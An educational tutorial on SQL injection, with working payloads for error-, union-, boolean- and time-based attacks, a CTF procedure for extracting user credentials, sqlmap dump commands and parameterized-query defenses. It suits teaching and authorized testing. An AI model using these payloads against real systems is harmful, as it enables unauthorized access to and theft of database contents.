SQL Injection: From Basics to Exploitation

What is SQL Injection?

SQL Injection (SQLi) is a vulnerability that occurs when an application inserts user-supplied data directly into a SQL query without proper sanitization. An attacker can alter the query's logic and gain unauthorized access to data.

How the Vulnerability Arises

Consider a classic PHP example:

$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";

If the user passes id=1 OR 1=1, the query becomes:

SELECT * FROM users WHERE id = 1 OR 1=1

And returns all records in the table.

Types of SQL Injection

1. In-band (Classic)

The injection result is returned directly in the page response.

Error-based — extract data through error messages:

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --

Union-based — combine results with another SELECT:

' UNION SELECT null, username, password FROM users --

2. Blind

The application returns no errors, but behavior differs.

Boolean-based — check conditions via True/False:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --

Time-based — use delays:

' AND SLEEP(5) --
' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END) --

3. Out-of-band

Data is exfiltrated via DNS or HTTP requests. Rare — requires special database privileges.

Practice: Basic CTF Algorithm

Step 1. Find the injection point

'    -- single quote: triggers an error?
''   -- two quotes: error disappears?

Step 2. Determine the number of columns

ORDER BY 1--
ORDER BY 2--
ORDER BY 3--   -- until an error appears

Step 3. UNION SELECT

' UNION SELECT null,null,null--

Replace null with 1,2,3 to find reflected columns.

Step 4. Extract data

' UNION SELECT null, table_name, null FROM information_schema.tables--
' UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT null, username, password FROM users--

Automation: sqlmap

# Basic scan
sqlmap -u "http://target.com/page?id=1"

# With cookies (for authenticated pages)
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"

# Dump database
sqlmap -u "http://target.com/page?id=1" --dump

# Specify DBMS for speed
sqlmap -u "http://target.com/page?id=1" --dbms=mysql

Defense

• Prepared statements (parameterized queries) — the primary countermeasure
• ORM — SQLAlchemy, Hibernate escape automatically
• Whitelist input data
• Principle of least privilege for the database user

# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")

# Safe
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

Useful Resources

• PortSwigger Web Security Academy — free labs
• PayloadsAllTheThings — large payload collection
• OWASP Testing Guide — testing methodology